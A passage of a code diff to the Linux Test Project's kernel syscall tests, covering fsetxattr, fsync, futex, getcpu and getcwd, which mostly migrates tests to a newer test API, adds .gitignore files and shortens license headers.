+	if (!tc[i].exp_err) {
+		if (TST_RET) {
+			tst_res(TFAIL | TTERRNO,
+				"fsetxattr(2) on %s failed with %li",
+				fname, TST_RET);
+			return;
+		}
+
+		/* this is needed for subsequent iterations */
+		SAFE_FREMOVEXATTR(tc[i].fd, tc[i].key);
+
+		tst_res(TPASS, "fsetxattr(2) on %s passed", fname);
+		return;
+	}
+
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "fsetxattr(2) on %s passed unexpectedly", fname);
+		return;
+	}
+
+	/* fail */
+
+	if (tc[i].exp_err != TST_ERR) {
+		tst_res(TFAIL | TTERRNO,
+				"fsetxattr(2) on %s should have failed with %s",
+				fname, tst_strerrno(tc[i].exp_err));
+		return;
+	}
+
+	/* key might have been added AND test might have failed, remove it */
+	if (tc[i].needskeyset)
+		SAFE_FREMOVEXATTR(tc[i].fd, tc[i].key);
+
+	tst_res(TPASS | TTERRNO, "fsetxattr(2) on %s failed", fname);
+}
+
+static void setup(void)
+{
+	size_t i = 0;
+	struct sockaddr_un sun;
+
+	dev_t dev = makedev(1, 3);
+
+	SAFE_TOUCH(FILENAME, 0644, NULL);
+	SAFE_MKDIR(DIRNAME, 0644);
+	SAFE_SYMLINK(FILENAME, SYMLINK);
+
+	/* root: mknod(2) needs it to create something other than a file */
+	SAFE_MKNOD(FIFO, S_IFIFO | 0777, 0);
+	SAFE_MKNOD(CHR, S_IFCHR | 0777, dev);
+	SAFE_MKNOD(BLK, S_IFBLK | 0777, dev);
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+
+		if (!tc[i].issocket) {
+			tc[i].fd = SAFE_OPEN(tc[i].fname, tc[i].fflags, NULL);
+			continue;
+		}
+
+		/* differently than setxattr calls, when dealing with
+		 * sockets, mknod() isn't enough to test fsetxattr(2).
+		 * we have to get a real unix socket in order for open()
+		 * to get a file desc.
+		 */
+		tc[i].fd = SAFE_SOCKET(AF_UNIX, SOCK_STREAM, 0);
+
+		memset(&sun, 0, sizeof(struct sockaddr_un));
+		sun.sun_family = AF_UNIX;
+		strncpy(sun.sun_path, tc[i].fname, sizeof(sun.sun_path) - 1);
+
+		SAFE_BIND(tc[i].fd, (const struct sockaddr *) &sun,
+				sizeof(struct sockaddr_un));
+	}
+}
+
+static void cleanup(void)
+{
+	size_t i = 0;
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		if (tc[i].fd > 0)
+			SAFE_CLOSE(tc[i].fd);
+	}
+}
+
+static const char *const needed_drivers[] = {
+	"brd",
+	NULL,
+};
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_fsetxattr,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_devfs = 1,
+	.mntpoint = MNTPOINT,
+	.needs_root = 1,
+	.needs_drivers = needed_drivers,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
diff --git a/testcases/kernel/syscalls/fstat/.gitignore b/testcases/kernel/syscalls/fstat/.gitignore
new file mode 100644
index 0000000..cf5205d
--- /dev/null
+++ b/testcases/kernel/syscalls/fstat/.gitignore
@@ -0,0 +1,8 @@
+/fstat01
+/fstat01_64
+/fstat02
+/fstat02_64
+/fstat03
+/fstat03_64
+/fstat05
+/fstat05_64
diff --git a/testcases/kernel/syscalls/fstatat/.gitignore b/testcases/kernel/syscalls/fstatat/.gitignore
new file mode 100644
index 0000000..f526444
--- /dev/null
+++ b/testcases/kernel/syscalls/fstatat/.gitignore
@@ -0,0 +1 @@
+/fstatat01
diff --git a/testcases/kernel/syscalls/fstatfs/.gitignore b/testcases/kernel/syscalls/fstatfs/.gitignore
new file mode 100644
index 0000000..a2e50f6
--- /dev/null
+++ b/testcases/kernel/syscalls/fstatfs/.gitignore
@@ -0,0 +1,4 @@
+/fstatfs01
+/fstatfs01_64
+/fstatfs02
+/fstatfs02_64
diff --git a/testcases/kernel/syscalls/fsync/.gitignore b/testcases/kernel/syscalls/fsync/.gitignore
new file mode 100644
index 0000000..3c694a4
--- /dev/null
+++ b/testcases/kernel/syscalls/fsync/.gitignore
@@ -0,0 +1,3 @@
+/fsync01
+/fsync02
+/fsync03
diff --git a/testcases/kernel/syscalls/fsync/fsync01.c b/testcases/kernel/syscalls/fsync/fsync01.c
index c93b131..f5e1418 100644
--- a/testcases/kernel/syscalls/fsync/fsync01.c
+++ b/testcases/kernel/syscalls/fsync/fsync01.c
@@ -52,10 +52,10 @@
 
 		TEST(fsync(fd));
 
-		if (TEST_RETURN == -1)
+		if (TST_RET == -1)
 			tst_res(TFAIL | TTERRNO, "fsync failed");
 		else
-			tst_res(TPASS, "fsync() returned %ld", TEST_RETURN);
+			tst_res(TPASS, "fsync() returned %ld", TST_RET);
 	}
 }
 
diff --git a/testcases/kernel/syscalls/ftruncate/.gitignore b/testcases/kernel/syscalls/ftruncate/.gitignore
new file mode 100644
index 0000000..814b707
--- /dev/null
+++ b/testcases/kernel/syscalls/ftruncate/.gitignore
@@ -0,0 +1,8 @@
+/ftruncate01
+/ftruncate01_64
+/ftruncate02
+/ftruncate02_64
+/ftruncate03
+/ftruncate03_64
+/ftruncate04
+/ftruncate04_64
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate02.c b/testcases/kernel/syscalls/ftruncate/ftruncate02.c
index bc03075..8ae226a 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate02.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate02.c
@@ -99,7 +99,7 @@
 	off_t file_length2;	/* test file length */
 	off_t file_length1;	/* test file length */
 	int rbytes, i;		/* bytes read from testfile */
-	int read_len = 0;	/* total no. of bytes read from testfile */
+	int read_len;		/* total no. of bytes read from testfile */
 	int err_flag = 0;	/* error indicator flag */
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -109,6 +109,7 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 
 		tst_count = 0;
+		read_len = 0;
 
 		/*
 		 * Call ftruncate(2) to truncate a test file to a
diff --git a/testcases/kernel/syscalls/futex/futex_wait05.c b/testcases/kernel/syscalls/futex/futex_wait05.c
index 066944f..0c5939c 100644
--- a/testcases/kernel/syscalls/futex/futex_wait05.c
+++ b/testcases/kernel/syscalls/futex/futex_wait05.c
@@ -36,13 +36,13 @@
 	tst_timer_stop();
 	tst_timer_sample();
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "futex_wait() returned %li, expected -1",
-		         TEST_RETURN);
+			TST_RET);
 		return 1;
 	}
 
-	if (TEST_ERRNO != ETIMEDOUT) {
+	if (TST_ERR != ETIMEDOUT) {
 		tst_res(TFAIL | TTERRNO, "expected errno=%s",
 		        tst_strerrno(ETIMEDOUT));
 		return 1;
diff --git a/testcases/kernel/syscalls/futex/futex_wait_bitset.h b/testcases/kernel/syscalls/futex/futex_wait_bitset.h
index 81a5d93..78075b3 100644
--- a/testcases/kernel/syscalls/futex/futex_wait_bitset.h
+++ b/testcases/kernel/syscalls/futex/futex_wait_bitset.h
@@ -1,23 +1,10 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
- *
- * Licensed under the GNU GPLv2 or later.
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 #define TRESHOLD_US 100000
+#define DEFAULT_TIMEOUT_US 100010
 
 static void verify_futex_wait_bitset(long long wait_us, clock_t clk_id)
 {
@@ -26,8 +13,8 @@
 	u_int32_t bitset = 0xffffffff;
 	int flags = clk_id == CLOCK_REALTIME ? FUTEX_CLOCK_REALTIME : 0;
 
-	tst_resm(TINFO, "testing futex_wait_bitset() timeout with %s",
-	         clk_id == CLOCK_REALTIME ? "CLOCK_REALTIME" : "CLOCK_MONOTONIC");
+	tst_res(TINFO, "testing futex_wait_bitset() timeout with %s",
+		clk_id == CLOCK_REALTIME ? "CLOCK_REALTIME" : "CLOCK_MONOTONIC");
 
 	clock_gettime(clk_id, &start);
 	to = tst_timespec_add_us(start, wait_us);
@@ -36,38 +23,53 @@
 
 	clock_gettime(clk_id, &end);
 
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "futex_wait_bitset() returned %li, expected -1",
-		         TEST_RETURN);
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "futex_wait_bitset() returned %li, expected -1",
+			TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO == ENOSYS) {
-		tst_resm(TCONF, "In this kernel, futex() does not support "
-			 "FUTEX_WAIT_BITSET operation");
+	if (TST_ERR == ENOSYS) {
+		tst_res(TCONF,
+			"In this kernel, futex() does not support FUTEX_WAIT_BITSET operation");
 		return;
 	}
 
-	if (TEST_ERRNO != ETIMEDOUT) {
-		tst_resm(TFAIL | TTERRNO, "expected %s",
-		         tst_strerrno(ETIMEDOUT));
+	if (TST_ERR != ETIMEDOUT) {
+		tst_res(TFAIL | TTERRNO, "expected %s",
+			tst_strerrno(ETIMEDOUT));
 		return;
 	}
 
 	if (tst_timespec_lt(end, to)) {
-		tst_resm(TFAIL,
-		         "futex_wait_bitset() woken up prematurely %llius, expected %llius",
-			 tst_timespec_diff_us(end, start), wait_us);
+		tst_res(TFAIL,
+			"futex_wait_bitset() woken up prematurely %llius, expected %llius",
+			tst_timespec_diff_us(end, start), wait_us);
 		return;
 	}
 
 	if (tst_timespec_diff_us(end, to) > TRESHOLD_US) {
-		tst_resm(TFAIL,
-		         "futex_wait_bitset() waited too long %llius, expected %llius",
-			 tst_timespec_diff_us(end, start), wait_us);
+		tst_res(TFAIL,
+			"futex_wait_bitset() waited too long %llius, expected %llius",
+			tst_timespec_diff_us(end, start), wait_us);
 		return;
 	}
 
-	tst_resm(TPASS, "futex_wait_bitset() waited %llius, expected %llius",
-	         tst_timespec_diff_us(end, start), wait_us);
+	tst_res(TPASS, "futex_wait_bitset() waited %llius, expected %llius",
+		tst_timespec_diff_us(end, start), wait_us);
 }
+
+static void setup(void)
+{
+	tst_timer_check(USE_CLOCK);
+}
+
+static void run(void)
+{
+	verify_futex_wait_bitset(DEFAULT_TIMEOUT_US, USE_CLOCK);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/futex/futex_wait_bitset01.c b/testcases/kernel/syscalls/futex/futex_wait_bitset01.c
index e5fd621..1ae3253 100644
--- a/testcases/kernel/syscalls/futex/futex_wait_bitset01.c
+++ b/testcases/kernel/syscalls/futex/futex_wait_bitset01.c
@@ -1,48 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * Licensed under the GNU GPLv2 or later.
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * 1. Block on a bitset futex and wait for timeout, the difference between
+ *    normal futex and bitset futex is that that the later have absolute timeout.
+ * 2. Check that the futex waited for expected time.
  */
- /*
-  * 1. Block on a bitset futex and wait for timeout, the difference between
-  *    normal futex and bitset futex is that that the later have absolute timeout.
-  * 2. Check that the futex waited for expected time.
-  */
 
 #include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
+#include "tst_timer.h"
 #include "futextest.h"
+
+#define USE_CLOCK CLOCK_MONOTONIC
+
 #include "futex_wait_bitset.h"
 
-const char *TCID="futex_wait_bitset01";
-const int TST_TOTAL=1;
-
-#define DEFAULT_TIMEOUT_US 100010
-
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	tst_timer_check(CLOCK_MONOTONIC);
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		verify_futex_wait_bitset(DEFAULT_TIMEOUT_US, CLOCK_MONOTONIC);
-
-	tst_exit();
-}
diff --git a/testcases/kernel/syscalls/futex/futex_wait_bitset02.c b/testcases/kernel/syscalls/futex/futex_wait_bitset02.c
index 820c65c..4d532fc 100644
--- a/testcases/kernel/syscalls/futex/futex_wait_bitset02.c
+++ b/testcases/kernel/syscalls/futex/futex_wait_bitset02.c
@@ -1,48 +1,18 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * Licensed under the GNU GPLv2 or later.
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * 1. Block on a bitset futex and wait for timeout, the difference between
+ *    normal futex and bitset futex is that that the later have absolute timeout.
+ * 2. Check that the futex waited for expected time.
  */
- /*
-  * 1. Block on a bitset futex and wait for timeout, the difference between
-  *    normal futex and bitset futex is that that the later have absolute timeout.
-  * 2. Check that the futex waited for expected time.
-  */
 
 #include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
+#include "tst_timer.h"
 #include "futextest.h"
+
+#define USE_CLOCK CLOCK_REALTIME
+
 #include "futex_wait_bitset.h"
-
-const char *TCID="futex_wait_bitset02";
-const int TST_TOTAL=1;
-
-#define DEFAULT_TIMEOUT_US 100010
-
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	tst_timer_check(CLOCK_REALTIME);
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		verify_futex_wait_bitset(DEFAULT_TIMEOUT_US, CLOCK_REALTIME);
-
-	tst_exit();
-}
diff --git a/testcases/kernel/syscalls/futex/futex_wake04.c b/testcases/kernel/syscalls/futex/futex_wake04.c
index 3c70383..f92bda5 100644
--- a/testcases/kernel/syscalls/futex/futex_wake04.c
+++ b/testcases/kernel/syscalls/futex/futex_wake04.c
@@ -76,14 +76,17 @@
 	tst_tmpdir();
 
 	SAFE_FILE_SCANF(NULL, PATH_NR_HUGEPAGES, "%ld", &orig_hugepages);
-	SAFE_FILE_PRINTF(NULL, PATH_NR_HUGEPAGES, "%d", 1);
+
+	if (orig_hugepages <= 0)
+		SAFE_FILE_PRINTF(NULL, PATH_NR_HUGEPAGES, "%d", 1);
 
 	TEST_PAUSE;
 }
 
 static void cleanup(void)
 {
-	SAFE_FILE_PRINTF(NULL, PATH_NR_HUGEPAGES, "%ld", orig_hugepages);
+	if (orig_hugepages <= 0)
+		SAFE_FILE_PRINTF(NULL, PATH_NR_HUGEPAGES, "%ld", orig_hugepages);
 
 	tst_rmdir();
 }
@@ -173,7 +176,7 @@
 	}
 
 	while (wait_for_threads(2))
-		usleep(100);
+		usleep(1000);
 
 	futex_wake(futex2, 1, 0);
 
diff --git a/testcases/kernel/syscalls/futimesat/.gitignore b/testcases/kernel/syscalls/futimesat/.gitignore
new file mode 100644
index 0000000..1b146f0
--- /dev/null
+++ b/testcases/kernel/syscalls/futimesat/.gitignore
@@ -0,0 +1 @@
+/futimesat01
diff --git a/testcases/kernel/syscalls/get_mempolicy/.gitignore b/testcases/kernel/syscalls/get_mempolicy/.gitignore
new file mode 100644
index 0000000..3eafcde
--- /dev/null
+++ b/testcases/kernel/syscalls/get_mempolicy/.gitignore
@@ -0,0 +1 @@
+/get_mempolicy01
diff --git a/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c b/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c
index a1b9e43..fcb6779 100644
--- a/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c
+++ b/testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c
@@ -315,6 +315,6 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
+	tst_brkm(TCONF, NULL, NUMA_ERROR_MSG);
 }
 #endif
diff --git a/testcases/kernel/syscalls/get_robust_list/.gitignore b/testcases/kernel/syscalls/get_robust_list/.gitignore
new file mode 100644
index 0000000..19b63c1
--- /dev/null
+++ b/testcases/kernel/syscalls/get_robust_list/.gitignore
@@ -0,0 +1 @@
+/get_robust_list01
diff --git a/testcases/kernel/syscalls/getcontext/.gitignore b/testcases/kernel/syscalls/getcontext/.gitignore
new file mode 100644
index 0000000..1e5e14e
--- /dev/null
+++ b/testcases/kernel/syscalls/getcontext/.gitignore
@@ -0,0 +1 @@
+/getcontext01
diff --git a/testcases/kernel/syscalls/getcpu/.gitignore b/testcases/kernel/syscalls/getcpu/.gitignore
new file mode 100644
index 0000000..31fec5d
--- /dev/null
+++ b/testcases/kernel/syscalls/getcpu/.gitignore
@@ -0,0 +1 @@
+/getcpu01
diff --git a/testcases/kernel/syscalls/getcpu/getcpu01.c b/testcases/kernel/syscalls/getcpu/getcpu01.c
index c927512..eb6ded8 100644
--- a/testcases/kernel/syscalls/getcpu/getcpu01.c
+++ b/testcases/kernel/syscalls/getcpu/getcpu01.c
@@ -1,280 +1,100 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright © International Business Machines  Corp., 2007, 2008
  *
- *   Copyright © International Business Machines  Corp., 2007, 2008
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation,Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111-1301 USA
- */
-
-/*
- * NAME
- *	getcpu1.c
- *
- * DESCRIPTION
- *	getcpu01 - call getcpu() and make sure it succeeds
- *
- * ALGORITHM
- *	set cpu affinity of the process
- *	If setaffinity() fails exit from the test suite
- *	Store the node ID of the cpu which has been set in previous step
- *	Make a call to getcpu() system call
- *	Verify the returned valued with the set value
- *	if they match
- *	  test is considered PASS
- *	else
- *	  test is considered FAIL
- *
- * USAGE:  <for command-line>
- *  getcpu [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	06/2008 written by Sharyathi Nagesh <sharyathi@in.ibm.com>
- *
- *      05/2009         Suzuki K P <suzuki@in.ibm.com>
- *                      Use TCONF instead of TWARN for non-NUMA machines
- *
- * RESTRICTIONS
- *	none
+ * Test Description:
+ *  The test process is affined to a CPU. It then calls getcpu and
+ *  checks that the CPU and node (if supported) match the expected
+ *  values.
  */
 
 #define _GNU_SOURCE
-#include <sched.h>
-#include <errno.h>
-#include "test.h"
-#include <sys/types.h>
 #include <dirent.h>
+#include <errno.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include "lapi/syscalls.h"
+#include "lapi/cpuset.h"
+#include "tst_test.h"
 
-#if defined(__i386__) || defined(__x86_64__)
-#if __GLIBC_PREREQ(2,6)
-#if defined(__x86_64__)
-#include <utmpx.h>
-#endif
-int sys_support = 1;
-#elif defined(__i386__)
-int sys_support = 1;
-#else
-int sys_support = 0;
-#endif
-#else
-int sys_support = 0;
-#endif
-
-#if !(__GLIBC_PREREQ(2, 7))
-#define CPU_FREE(ptr) free(ptr)
-#endif
-
-void cleanup(void);
-void setup(void);
-static inline int getcpu(unsigned int *, unsigned int *, void *);
-unsigned int set_cpu_affinity(void);
-unsigned int get_nodeid(unsigned int);
-unsigned int max_cpuid(size_t, cpu_set_t *);
-
-char *TCID = "getcpu01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
-{
-	int lc;
-	unsigned int cpu_id, node_id = 0;
-	unsigned int cpu_set;
-#ifdef __i386__
-	unsigned int node_set;
-#endif
-
-	/* Check For Kernel Version */
-	if (((tst_kvercmp(2, 6, 20)) < 0) || !(sys_support)) {
-		tst_resm(TCONF, "This test can only run on kernels that are ");
-		tst_resm(TCONF,
-			 "2.6.20 and higher and glibc version 2.6 and above");
-		tst_resm(TCONF, "Currently the test case has been");
-		tst_resm(TCONF, "developed only for i386 and x86_64");
-		exit(0);
-	}
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* call the system call with the TEST() macro */
-		cpu_set = set_cpu_affinity();
-#ifdef __i386__
-		node_set = get_nodeid(cpu_set);
-#endif
-		TEST(getcpu(&cpu_id, &node_id, NULL));
-		if (TEST_RETURN == 0) {
-			if (cpu_id != cpu_set) {
-				tst_resm(TFAIL, "getcpu() returned wrong value"
-					 " expected cpuid:%d, returned value cpuid: %d",
-					 cpu_set, cpu_id);
-
-			}
-#ifdef __i386__
-			else if (node_id != node_set) {
-				tst_resm(TFAIL, "getcpu() returned wrong value"
-					 " expected  node id:%d returned  node id:%d",
-					 node_set, node_id);
-
-			}
-#endif
-			else
-				tst_resm(TPASS, "getcpu() returned proper"
-					 " cpuid:%d, node id:%d", cpu_id,
-					 node_id);
-		} else {
-			tst_resm(TFAIL, "getcpu() Failed, errno=%d:%s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * getcpu() - calls the system call
- */
-static inline int getcpu(unsigned *cpu_id, unsigned *node_id,
-			 void *cache_struct)
+static inline int get_cpu(unsigned *cpu_id,
+			  unsigned *node_id LTP_ATTRIBUTE_UNUSED,
+			  void *cache_struct LTP_ATTRIBUTE_UNUSED)
 {
 #if defined(__i386__)
-	return syscall(318, cpu_id, node_id, cache_struct);
-#elif __GLIBC_PREREQ(2,6)
+	return syscall(__NR_getcpu, cpu_id, node_id, cache_struct);
+#else
 	*cpu_id = sched_getcpu();
 #endif
 	return 0;
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static unsigned int max_cpuid(size_t size, cpu_set_t * set)
 {
-
-	/* ?? */
-
-	TEST_PAUSE;
+	unsigned int index, max = 0;
+	for (index = 0; index < size * 8; index++)
+		if (CPU_ISSET_S(index, size, set))
+			max = index;
+	return max;
 }
 
 /*
  * This will set the affinity to max cpu on which process can run
  * and return that cpu id to the calling process
  */
-unsigned int set_cpu_affinity(void)
+static unsigned int set_cpu_affinity(void)
 {
 	unsigned cpu_max;
 	cpu_set_t *set;
 	size_t size;
 	int nrcpus = 1024;
-#if __GLIBC_PREREQ(2, 7)
+
 realloc:
 	set = CPU_ALLOC(nrcpus);
-#else
-	set = malloc(sizeof(cpu_set_t));
-#endif
-	if (set == NULL) {
-		tst_brkm(TFAIL, NULL, "CPU_ALLOC:errno:%d", errno);
-	}
-#if __GLIBC_PREREQ(2, 7)
+	if (!set)
+		tst_brk(TBROK | TERRNO, "CPU_ALLOC()");
+
 	size = CPU_ALLOC_SIZE(nrcpus);
 	CPU_ZERO_S(size, set);
-#else
-	size = sizeof(cpu_set_t);
-	CPU_ZERO(set);
-#endif
 	if (sched_getaffinity(0, size, set) < 0) {
 		CPU_FREE(set);
-#if __GLIBC_PREREQ(2, 7)
 		if (errno == EINVAL && nrcpus < (1024 << 8)) {
 			nrcpus = nrcpus << 2;
 			goto realloc;
 		}
-#else
-		if (errno == EINVAL)
-			tst_resm(TFAIL,
-				 "NR_CPUS of the kernel is more than 1024, so we'd better use a newer glibc(>= 2.7)");
-		else
-#endif
-			tst_resm(TFAIL, "sched_getaffinity:errno:%d", errno);
-		tst_exit();
+		tst_brk(TBROK | TERRNO, "sched_getaffinity()");
 	}
 	cpu_max = max_cpuid(size, set);
-#if __GLIBC_PREREQ(2, 7)
 	CPU_ZERO_S(size, set);
 	CPU_SET_S(cpu_max, size, set);
-#else
-	CPU_ZERO(set);
-	CPU_SET(cpu_max, set);
-#endif
 	if (sched_setaffinity(0, size, set) < 0) {
 		CPU_FREE(set);
-		tst_brkm(TFAIL, NULL, "sched_setaffinity:errno:%d", errno);
+		tst_brk(TBROK | TERRNO, "sched_setaffinity()");
 	}
 	CPU_FREE(set);
 	return cpu_max;
 }
 
-/*
- * Return the maximum cpu id
- */
-#define BITS_PER_BYTE 8
-unsigned int max_cpuid(size_t size, cpu_set_t * set)
-{
-	unsigned int index, max = 0;
-	for (index = 0; index < size * BITS_PER_BYTE; index++)
-#if __GLIBC_PREREQ(2, 7)
-		if (CPU_ISSET_S(index, size, set))
-#else
-		if (CPU_ISSET(index, set))
-#endif
-			max = index;
-	return max;
-}
-
-/*
- * get_nodeid(cpuid) - This will return the node to which selected cpu belongs
- */
-unsigned int get_nodeid(unsigned int cpu_id)
+#ifdef __i386__
+static unsigned int get_nodeid(unsigned int cpu_id)
 {
 	DIR *directory_parent, *directory_node;
 	struct dirent *de, *dn;
-	char directory_path[255];
+	char directory_path[PATH_MAX];
 	unsigned int cpu;
 	int node_id = 0;
 
 	directory_parent = opendir("/sys/devices/system/node");
 	if (!directory_parent) {
-		tst_resm(TCONF,
-			 "/sys not mounted or not a numa system. Assuming one node");
-		tst_resm(TCONF,
-			 "Error opening: /sys/devices/system/node :%s",
-			 strerror(errno));
-		return 0;	//By Default assume it to belong to node Zero
+		tst_res(TINFO,
+			"/sys not mounted or not a numa system. "
+			"Assuming one node");
+		tst_res(TINFO, "Error opening: /sys/devices/system/node :%s",
+			strerror(errno));
+		/* Assume CPU belongs to the only node, node zero. */
+		return 0;
 	} else {
 		while ((de = readdir(directory_parent)) != NULL) {
 			if (strncmp(de->d_name, "node", 4))
@@ -298,12 +118,50 @@
 	}
 	return node_id;
 }
+#endif
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void run(void)
 {
+	unsigned int cpu_id, node_id = 0;
+	unsigned int cpu_set;
+#ifdef __i386__
+	unsigned int node_set;
+#endif
 
+	cpu_set = set_cpu_affinity();
+#ifdef __i386__
+	node_set = get_nodeid(cpu_set);
+#endif
+
+	TEST(get_cpu(&cpu_id, &node_id, NULL));
+	if (TST_RET == 0) {
+		if (cpu_id != cpu_set)
+			tst_res(TFAIL, "getcpu() returned wrong value"
+				" expected cpuid:%d, returned value cpuid: %d",
+				cpu_set, cpu_id);
+#ifdef __i386__
+		else if (node_id != node_set)
+			tst_res(TFAIL, "getcpu() returned wrong value"
+				" expected  node id:%d returned  node id:%d",
+				node_set, node_id);
+#endif
+		else
+			tst_res(TPASS, "getcpu() returned proper"
+				" cpuid:%d, node id:%d", cpu_id,
+				node_id);
+	} else {
+		tst_res(TFAIL, "getcpu() Failed, errno=%d:%s",
+			TST_ERR, strerror(TST_ERR));
+	}
 }
+
+static void setup(void)
+{
+	if (tst_kvercmp(2, 6, 20) < 0)
+		tst_brk(TCONF, "kernel >= 2.6.20 required");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/getcwd/.gitignore b/testcases/kernel/syscalls/getcwd/.gitignore
new file mode 100644
index 0000000..338852b
--- /dev/null
+++ b/testcases/kernel/syscalls/getcwd/.gitignore
@@ -0,0 +1,4 @@
+/getcwd01
+/getcwd02
+/getcwd03
+/getcwd04
diff --git a/testcases/kernel/syscalls/getcwd/getcwd01.c b/testcases/kernel/syscalls/getcwd/getcwd01.c
index 1199e9f..c1d8cb9 100644
--- a/testcases/kernel/syscalls/getcwd/getcwd01.c
+++ b/testcases/kernel/syscalls/getcwd/getcwd01.c
@@ -59,13 +59,13 @@
 
 	errno = 0;
 	res = getcwd(tc->buf, tc->size);
-	TEST_ERRNO = errno;
+	TST_ERR = errno;
 	if (res) {
 		tst_res(TFAIL, "getcwd() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_err) {
+	if (TST_ERR != tc->exp_err) {
 		tst_res(TFAIL | TTERRNO, "getcwd() failed unexpectedly, expected %s",
 			tst_strerrno(tc->exp_err));
 		return;
diff --git a/testcases/kernel/syscalls/getcwd/getcwd02.c b/testcases/kernel/syscalls/getcwd/getcwd02.c
index 54440bd..1a2d308 100644
--- a/testcases/kernel/syscalls/getcwd/getcwd02.c
+++ b/testcases/kernel/syscalls/getcwd/getcwd02.c
@@ -83,7 +83,7 @@
 
 	errno = 0;
